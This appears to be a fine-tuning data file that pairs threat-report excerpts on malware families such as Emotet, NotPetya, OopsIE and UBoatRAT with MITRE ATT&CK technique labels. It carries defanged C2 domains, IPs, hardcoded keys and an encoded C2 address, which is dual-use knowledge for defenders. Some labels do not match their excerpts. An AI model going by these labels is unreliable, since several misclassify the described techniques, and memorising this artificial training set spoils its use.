"Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file. Unit 42 has observed a total of two variants of Comnie. One of the ways the variants differ is in how they obtain their command and control (C2) information. Both variants make use of third-party online services in an attempt to prevent DNS based blocking of their first stage communications. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this",['T1102.002 - Bidirectional Communication'],fine_tune
"To inject the OpenSSH server configuration directly into memory, Ebury parses the sshd binary’s code section mapped in the same process looking for two different functions. If it fails, it downgrades security features by disabling SELinux Role-Based Access Control and deactivating PAM modules. When one of the functions is successfully resolved, Ebury will use this when the backdoor is used to tamper with sshd‘s configuration","['T1556.003 - Modify Authentication Process: Pluggable Authentication Modules', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",fine_tune
"The Gorgon Group Crew Breakdown Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it’s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas. fudpages One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members. Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206",['T1105 - Ingress Tool Transfer'],fine_tune
"In this wave of attacks, Emotet trojan spreads by emails that lure victims into downloading a Christmas-themed Word document, which contains a macro that executes a PowerShell script to download a malicious payload. Commands in the macro are heavily obfuscated for defense evasion",['T1027 - Obfuscated Files or Information'],fine_tune
"Icons were often folders, meant to trick targets into thinking they were opening a shortcut to a folder",['T1036 - Masquerading'],fine_tune
"The main code is run in a separate thread: every 10 minutes, the application contacts the C&amp;C server motivation[.]neighboring[.]site and passes it the computer's identifier in the User-Agent string. The identifier is a SuperFastHash of the system volume serial number and the name of the computer","['T1082 - System Information Discovery', 'T1029 - Scheduled Transfer']",fine_tune
"One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Before executing the main payload, the QakBot loader will first test the infected system to see if it is a good candidate for infection. Figure 5 below shows a high-level execution flow of the QakBot loader","['T1518.001 - Software Discovery: Security Software Discovery', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
"NCCIC observed multiple methods used by NotPetya to propagate across a network. The first and—in most cases—most effective method, uses a modified version of the Mimikatz tool to steal the user’s Windows credentials. The cyber threat actor can then use the stolen credentials, along with the native Windows Management Instrumentation Command Line (WMIC) tool or the Microsoft SysInternals utility, psexec.exe, to access other systems on the network. Another method for propagation uses the EternalBlue exploit tool to target unpatched systems running a vulnerable version of SMBv1. In this case, the malware attempts to identify other hosts on the network by checking the compromised system’s IP physical address mapping table. Next, it scans for other systems that are vulnerable to the SMB exploit and installs the malicious payload. Refer to the malware report, MIFR-10130295, for more details on these methods",['T1210 - Exploitation of Remote Services'],fine_tune
"Tracing the origin of the hidden .mina file showed that it is a copy of an included resource, renamed SubMenu.nib, from the application bundle and where the main backdoor functions were contained. It also has the same links to Lazarus’ Windows and Linux predecessors: the presence of the hardcoded strings c_2910.cls and k_3872.cls. Both strings were previously used during C&amp;C communication to the domain thevagabondsatchel[.]com as the sample storage of the cybercriminal group, as reported by 360 Netlab researchers","['T1027 - Obfuscated Files or Information', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",fine_tune
The threat actor in this case hosted the MSI file on GitHub using a spoofed file extension to look like a PDF,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"The name of the local computer that corresponds to the IP address and the name of the port is shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). Foreign Address The IP address and port number of the remote computer to which the socket is connected. If the port is not yet established, the port number is shown as an asterisk (*). (state) Indicates the state of a TCP connection. The possible states are as follows: CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK LISTEN SYN_RECEIVED SYN_SEND TIMED_WAIT For more information about the states of a TCP connection, see RFC 793. Proto The name of the protocol (TCP or UDP). - Local Address The IP address of the local computer and the port number being used. The name of the local computer that corresponds to the IP address and the name of the port is shown unless the -n parameter is specified. If the port is not yet established, the port number is shown as an asterisk (*). - Foreign Address The IP address and port number of the remote computer to which the socket is connected. If the port is not yet established, the port number is shown as an asterisk (*). - - This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections",['T1049 - System Network Connections Discovery'],fine_tune
"The most common ports used are, 80, 1985, 1986, and 443. 1985 is the default port for the malware, 1986 is the lazy variation of that port. Port 80 and 443 are the default ports for HTTP and HTTPS traffic. The next most common is port 53. This is used in some of the newer 3.22 and 3.39 samples. After that, the count for each port starts declining sharply",['T1571 - Non-Standard Port'],fine_tune
"In previous iterations, the Astaroth Trojan campaign used cerutil to download files. In this iteration, they have replaced certutil with BITSAdmin",['T1105 - Ingress Tool Transfer'],fine_tune
"Then, it encrypts it with 3DES before sending it (figure 28). The _P.Y (""0295A. 1618C"") method in figure 26 creates the MD5 hash of the string. This hash is used as secret for the 3DES encryption",['T1560 - Archive Collected Data'],fine_tune
"This blog details the markers of this campaign, including macro content, campaign flow and phishing themes of our identified variants and older variants that have been attributed to Lazarus by other vendors. The Qualys Research Team recently identified a new Lazarus campaign using employment phishing lures targeting the defence sector. This is thematically similar to other observed variants where Lazarus has posed as defence companies like Northrop Grumman and BAE Systems with job openings. LockHeed Recruitment Lure . The macro uses aliases to rename the APIs that it uses (fig. 5). Other variants have used the UuidFromStringA function to decode the embedded payload and write it to an executable Heap. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap. 8). shellObj is the Wscript.Shell object that the vbs file uses to execute the beacon command. Additional vendors have also identified a variant that uses pcalua.exe. Additional vendors have reported on the current campaign while attributing it to Lazarus. Lazarus continues to evolve its capabilities by utilizing lesser-known shellcode execution techniques and incorporating various lolbins as part of its campaign",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/ folder. This persistence file is also set to hidden with a randomly generated file date and time","['T1543.004 - Create or Modify System Process: Launch Daemon', 'T1543.001 - Create or Modify System Process: Launch Agent']",fine_tune
Extract the encoded payload. Decrypt the extracted payload. This uses the AES algorithm in CBC mode. Decompress the decrypted payload. This uses the LZMA algorithm. Decrypt the decompressed payload. This is simple XOR with byte key and as such does not impact compression ratio. Execute the decrypted payload as shellcode,"['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
This function will either bind the calling process to a port or has the calling process connect to a remote host. The function is called in the following manner,['T1134.002 - Create Process with Token'],fine_tune
"The attachment itself is an Microsoft Excel XLS document that contains malicious macro script. The document presents itself as a standard macro document but has all of its text hidden until the victim enables macros. Notably, all of the content text is accessible to the victim even before macros are enabled. However, a white font color is applied to the text to make it appear that the victim must enable macros to access the content. Once the macro is enabled, the content is presented via the following code: ActiveSheet.Range(""a1:c54"").Font.Color = vbBlack The code above changes the font color to black within the specified cell range and presents the content to the user. On initial inspection, the content appears to be the expected legitimate content, however, closer examination of the document shows several abnormal artifacts that would not exist in a legitimate document. Figure 2 below shows how the delivery document initially looks and the transformation the content undergoes as the macro runs",['T1204.002 - User Execution: Malicious File'],fine_tune
This sample was delivered by a malicious document named “Interview with a north Korean defector”. The macro embedded inside unpacks and executes winload.exe,['T1204.002 - User Execution: Malicious File'],fine_tune
"Falcon Intelligence has observed two different methods used to deploy BitPaymer once the domain controllers are compromised. In one instance, only the domain controllers and other critical infrastructure, like payroll servers, were targeted and PowerShell Empire was used to download and execute the BitPaymer malware directly on these servers",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"WIRTE used documents deploying Visual Basic Script (VBS), potentially delivered through spear phishing, decoys with Arabic content, occasionally associated with Palestinian matters",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Emotet is one of the most widely distributed and actively developed malware families on the crimeware landscape today. Emotet began purely as a banking trojan, but over the years, has continued to evolve and more recently, has been associated with some larger-scale targeted Ryuk ransomware infections. Emotet is commonly delivered via both macro-laden office documents, as well as URL-based spam messages that lead to an eventual infection. It's not uncommon to see Emotet reuse of some of the command and control (C2) servers over more extended periods. The goal of Emotet, as is the case with crimeware-based threats, is monetary. Attackers use Emotet to deliver modular payloads it can use to monetize infections",['T1571 - Non-Standard Port'],fine_tune
"Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services. Then the attacker looks for all administrator accounts on both the local machine and the network. This reflects the Poseidon Group’s familiarity with Windows network administration","['T1057 - Process Discovery', 'T1007 - System Service Discovery']",fine_tune
"The downloaded Stage3 is written in C# as in Stage2, and an obfuscation tool called Eazfuscator is detected by exeinfoPE",['T1027 - Obfuscated Files or Information'],fine_tune
"The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. According to Group-IB researchers, APT41 usually parks their domains for some time at 127.0.0.1 after their campaigns are over. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers. In both cases, the files were used to establish persistence in the network. The files are very similar in the way they launch a DLL file as a service and create keys in the registry. The contents of the file ""install.bat"" from APT41's This is Not a Test campaign",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Among infostealers used by the Kimsuky group, some samples have been found that use FTP to download additional malware after logging infected targets to the C&amp;C [14, 15","['T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1071.002 - File Transfer Protocols']",fine_tune
"Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website, including",['T1553.002 - Code Signing'],fine_tune
"Win32CmDll.dll first tries to inject the ManagerMain and GuardClient modules into a process with one of the following names: lsass.exe, wininit.exe or lsm.exe. If that fails, it tries to inject into one of the registered windows services processes, excluding processes named spoolsv.exe, ekrn.exe (ESET), avp.exe (Kaspersky) or dllhost.exe. As a last option, if everything else failed, it tries to use the processes taskhost.exe, taskhostw.exe or explorer.exe",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"We have most definitely observed Kimsuky targeting specific individuals — in fact, up to the present moment — even going as far as registering Internet domains containing the individual targets' names, the PwC analyst said",['T1583.001 - Domains'],fine_tune
Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk,['T1105 - Ingress Tool Transfer'],fine_tune
"In order to discover potential targets and locate the information it needs to authenticate against, the script passively collects data from /.ssh/config, .bash_history, /.ssh/known_hosts, and the likes. We did not identify any active scanning techniques used to identify additional targets",['T1018 - Remote System Discovery'],fine_tune
"The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter &lt;&gt;: [command]&lt;&gt;[parameters for command in hexadecimal format] The available commands are",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Along the way, HermeticWiper’s more mundane operations provide us with further IOCs to monitor for. It also modifies several registry keys, including setting the SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled key to 0, effectively disabling crash dumps before the abused driver’s execution starts","['T1562.006 - Impair Defenses: Indicator Blocking', 'T1112 - Modify Registry']",fine_tune
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals,"['T1566.002 - Phishing: Spearphishing Link', 'T1204.001 - Malicious Link']",fine_tune
These macro injection modules also have the functionality to tamper with the Microsoft Office macro security settings,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
TClient will use SSL to connect to Tropic Trooper’s C&amp;C server. This allows Tropic Trooper’s operators to easily change/update the C&amp;C server and configure other values,['T1573.002 - Asymmetric Cryptography'],fine_tune
They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"CTU researchers assess with high confidence that IRON RITUAL's intent is long term, covert access to networks of interest for the purposes of espionage and data theft.ToolsTaegis™ XDR Adversary Software Coverage Tool",['T1195.002 - Compromise Software Supply Chain'],fine_tune
A format string that defaults to “public/Publics” that modifies characteristics of the folder and hide it from the infected user,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"Each targeted file is opened, read, encrypted in memory, and then written to a new file in the malware’s working directory using the filename format &lt;random number&gt;.WNCRYT. The files are then renamed to their original filename followed by the .WINCRY extension and moved to their original directory. The taskdl.exe process launched by the malware periodically deletes the remaining WINCRYT temporary files. The encryption process does not directly overwrite file data, so forensic recovery of file contents may be possible depending on the environment. The entire contents of the file are encrypted and saved with a custom header (see Figure 7",['T1489 - Service Stop'],fine_tune
"As you can see in Figure 1, the authentication prompt says “Connecting to &lt;redacted&gt;. 0utl00k[.]net”, which is a DarkHydrus C2 server. If the user enters their credentials in this dialog box and presses ‘Ok’, the credentials are sent to the C2 server via the URL https://&lt;redacted&gt;.0utl00k[.]net/download/template.docx. With the authentication dialog box gone, Word displays the contents of the document, which in this specific case was an empty document. While this document was empty, the authentication prompt may have made the targeted user more likely to enter their credentials, thinking it’s necessary to view the contents of the document. DarkHydrus also created their C2 domain carefully in an attempt to further trick the targeted user to enter their credentials. Also, the 0utl00k[.]net domain resembles Microsoft’s legitimate ""outlook.com” domain that provides free email services, which also make the user less suspicious and more likely to enter their credentials. Some users may not even notice what domain the dialog states they are connecting to and habitually type their Windows credentials. We found two additional Word documents using the 0utl00k[.]net domain to harvest credentials, seen in Table 1. We first saw these related Word documents in September and November 2017, which suggests that DarkHydrus has been carrying out this credential harvesting campaign for almost a year",['T1187 - Forced Authentication'],fine_tune
"The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, give the same name with itself to the decoy file, removes .exe and adds .pdf in the code. The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. The other deletes the dropper and the VBS script itself",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Next, BoomBox AES-encrypts the host information string above using the hardcoded encryption key “123do3y4r378o5t34onf7t3o573tfo73” and initialization vector (IV) value “1233t04p7jn3n4rg”. To masquerade the data as contents of a PDF file, BoomBox prepends and appends the magic markers for PDF to the AES-encrypted host information string above","['T1036 - Masquerading', 'T1027 - Obfuscated Files or Information']",fine_tune
"For example, Monash University, located in Australia, has been a popular Silent Librarian target. Like the overall content of their lures, the subject lines of Silent Librarian phishing emails have remained consistent over time. Phishing Pages . We have identified 127 different domains used to host Silent Librarian phishing sites since 2013. Like a growing number of phishing sites, domains registered by Silent Librarian generally use Freenom top-level domains (TLDs) (.TK, . CF, .GA, .GQ, .ML) because they are available at no cost. Some of the other recent TLDs associated with Silent Librarian domains include .IN, .IR, .INFO, .LINK, and .TOP. Legitimate American University Library Login URL (above) . Silent Librarian Phishing URL (January 2018) . The content of Silent Librarian phishing pages is almost identical to the legitimate target sites. The actors likely scrape the original HTML source code from the legitimate library login page, then edit the references to resources used to render the webpage (images, JavaScript, CSS, etc. An analysis of the Silent Librarian kits identified two email accounts that were used to receive compromised victim credentials. Similarly, the credentials stolen in the Silent Librarian phishing attacks we identified were sold on an Iranian website; however, it is not one of the sites specified in the indictment. Using a combination of technical and open source research, we identified another website, Uniaccount[.]ir, that was used to sell the credentials compromised in the Silent Librarian phishing attacks",['T1598.003 - Spearphishing Link'],fine_tune
An already public UAC bypass method is included in the binary. It doesn’t matter if the method will work or not since the process will exit. This is one more indication that the tool is still in development and there are plans to expand its capabilities,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Upon execution, HyperStack undergoes a similar registry key check to Turla’s RPC backdoor and updates the same registry key to determine which named pipes can be accessed anonymously. The HyperStack backdoor first copies itself to C:\ADSchemeIntegrity.exe and then installs itself with system-level privileges as the service Active Directory Scheme Integrity Service. HyperStack checks for the following registry entry and, when found, adds the name of its communication pipe (‘adschemerpc’) to the key value",['T1112 - Modify Registry'],fine_tune
"The adversaries installed the backdoor as a service on the infected machine. They attempted to operate under the radar by naming the service ""Windows Time Service"", like the existing Windows service",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
The use of an initial reconnaissance document allows Inception to profile the target’s computer and potentially customize any subsequent malicious document to exploit known vulnerabilities in unpatched software on the computer,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in ""C:\ProgramData\Apple\Update\wab32res.dll""), and an encrypted configuration file",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"Spear phishing, including the use of probably compromised email accounts. Lure documents using CVE-2017-11882 to drop malware. Stolen code signing certificates used to sign malware. Use of bitsadmin.exe to download additional tools. Use of PowerShell to download additional tools. Using C:\Windows\Debug and C:\Perflogs as staging directories. Using Windows Management Instrumentation (WMI) for persistence. Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence",['T1553.002 - Code Signing'],fine_tune
"After the configuration is parsed, Cardinal RAT will proceed with making attempts at connecting with the C2. Using an example request and response from a C2 server, we can see how this traffic is configured",['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
"As with every communication with the C2, the script collects and sends information about the target environment including the stack of security solutions installed on the computer and are part of the following list",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. Mandiant identified a utility script named kill.bat that was run on systems in the environment. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc. Domain administrators have complete control over Windows systems in an Active Directory environment",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"The first stage implant that is nested in the DOTM file, is using triple base64 encoding in the Visual Basic Macro - The extracted DLL (desktop.dat) is packed with the Themida packer attempting to make analysis more difficult",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as",['T1571 - Non-Standard Port'],fine_tune
"Use command-line interfaces to interact with systems and execute other software (Command and Scripting Interpreter [T1059]) - Use scripts (e.g. VBScript and PowerShell) to speed up operational tasks, reduce the time required to gain access to critical resources, and bypass process monitoring mechanisms by directly interacting with the operating system (OS) at an Application Programming Interface (API) level instead of calling other programs (Command and Scripting Interpreter: PowerShell [T1059.001], Command and Scripting Interpreter: Visual Basic [T1059.005]) - Rely upon specific user actions, such as opening a malicious email attachment (User Execution [T1204]) - Exploit software vulnerabilities to execute code on a system (Exploitation for Client Execution [T1203]) - Create new services or modify existing services to execute executables, commands, or scripts (System Services: Service Execution [T1569.002]) - Employ the Windows module loader to load Dynamic Link Libraries (DLLs) from arbitrary local paths or arbitrary Universal Naming Convention (UNC) network paths and execute arbitrary code on a system (Shared Modules [T1129]) - Use the Windows API to execute arbitrary code on the victim's system (Native API [T1106]) - Use a system's graphical user interface (GUI) to search for information and execute files (Remote Services [T1021]) - Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053]) - Abuse compiled Hypertext Markup Language (HTML) files (.chm), commonly distributed as part of the Microsoft HTML Help system, to conceal malicious code (Signed Binary Proxy Execution: Compiled HTML File [T1218.001]) - Abuse Windows rundll32.exe to execute binaries, scripts, and Control Panel Item files (.CPL) and execute code via proxy to avoid triggering security tools (Signed Binary Proxy Execution: Rundl32 [T1218.001]) - Exploit cron in Linux and launchd in macOS systems to create pre-scheduled and periodic background jobs (Scheduled Task/Job: Cron [T1053.003], Scheduled Task/Job: Launchd [T1053.004","['T1106 - Native API', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1053.003 - Scheduled Task/Job: Cron', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",fine_tune
"To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value’s MD5 hash as an initial vector. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Every time the malware runs a command using cmd.exe, the standard output (STDOUT) of the executed command is piped and written to a Google Drive account with the following filename format",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"https://raw.githubusercontent[.]com/r1ng/news/master/README.md The malware accesses the URL and decodes the characters between the string “[Rudeltaktik]” and character “!” using BASE64. Rudeltaktik]MTE1LjY4LjQ5LjE3OTo4MA==! UBoatRAT uses a custom command and control protocol to communicate with the attacker’s server. The malware places the string '488' (0x34, 0x38, 0x38 in HEX) at the top of the payload or instruction and encrypts the entire buffer with the static key 0x88 by using simple XOR cipher. Then the network payload always starts with 0xBC, 0xB0, 0xB0",['T1027 - Obfuscated Files or Information'],fine_tune
ALL tim nha Chi Ngoc Canada: The shell script containing the main malicious routines - configureDefault.def: The word file displayed during execution,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"shareDll, mshareDll, tshareDll Modules used to propagate Trickbot loader to connected network shares of the victimized machine. Modules used to propagate Trickbot loader to connected network shares of the victimized machine. wormwinDll, wormDll, mwormDll, nwormDll Modules used for spreading inside a local network of compromised machines via SMB. Modules used for spreading inside a local network of compromised machines via SMB. tabDll Module used to spread into the network using the EternalRomance exploit. Module used to spread into the network using the EternalRomance exploit",['T1135 - Network Share Discovery'],fine_tune
"1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 5) The PowerShell script creates a Cobalt Strike stager payload. This PowerShell script also retrieves an XOR-encoded Cobalt Strike beacon payload from an adversary-controlled domain. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"This final payload is the ThreatNeedle loader running in memory. At this point the loader uses a different RC4 key (3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20), and the dropped malware is registered as a Windows service and launched",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
The location of the working directory is determined by the instructions from the remote server. The directory is used as temporary storage for files containing collected data about the compromised computer,['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"The winupdate.ps1 script (SHA256: 36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e) is the main payload of this attack that we call RogueRobin. Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation. Before carrying out any of its functionality the payload checks to see if it is executing in a sandbox. The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment. The specific sandbox checks include","['T1047 - Windows Management Instrumentation', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1057 - Process Discovery']",fine_tune
The malware used in a DUBNIUM attack is committed to disguising itself as Secure Shell (SSH) tool. The file descriptions and other properties of the malware look convincingly legitimate at first glance,['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"The malware next sets out to prevent the victim from stopping the ongoing infection. First, the machine is removed from the Active Directory domain by using WinAPI or WMI. This makes it harder to remotely push any remediation tools to the infected machines",['T1106 - Native API'],fine_tune
"After defining several variables, some of which contain ActiveX objects for file execution and manipulation later, the script uses a function to “roll” a random number",['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
"A macro is executed by the Office document: The macro inflates and creates a ZIP file on the targeted system and executes a Lua script in this archive. The archive contains the Lua payload and luajit, a Lua interpreter for Windows. Here is the script: This script downloads and executes an additional payload",['T1059 - Command and Scripting Interpreter'],fine_tune
"In some previous phishing email campaigns, attackers leveraged SendGrid to distribute the initial emails to hide the Google Drive links in the documents behind a SendGrid URL as a way to bypass traditional defences",['T1204.001 - Malicious Link'],fine_tune
"Open malspam with password-protected ZIP attachment. On June 30 and July 1, 2020, we saw indications there may also have been a link to download a ZIP archive instead of an attachment. Extract Microsoft Word document from the password-protected ZIP archive using a unique password from the message text",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file. The first stage payload is an MSI Installer that was created using an EXE to MSI converter",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"The variable $HL39fjh contains the base64-encoded PowerShell command shown in Figure 2. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload",['T1027 - Obfuscated Files or Information'],fine_tune
"Posted on . May 23, 2017 . (May 2, 2022) . by Raphael Mudge . Cobalt Strike 3.8 is now available. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it’s important to have other ways to achieve our goals without this offensive technique. The Resource Kit . Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates. The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -&gt; Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows. A 21-day Cobalt Strike trial is also available",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Looking into the arguments shows that the process plugin comes from the received packet to execute functions such as collecting process information, running a new process, and terminating a running one. The process information collected includes the username, user ID, group ID, and process parent ID of the target process","['T1057 - Process Discovery', 'T1057 - Process Discovery']",fine_tune
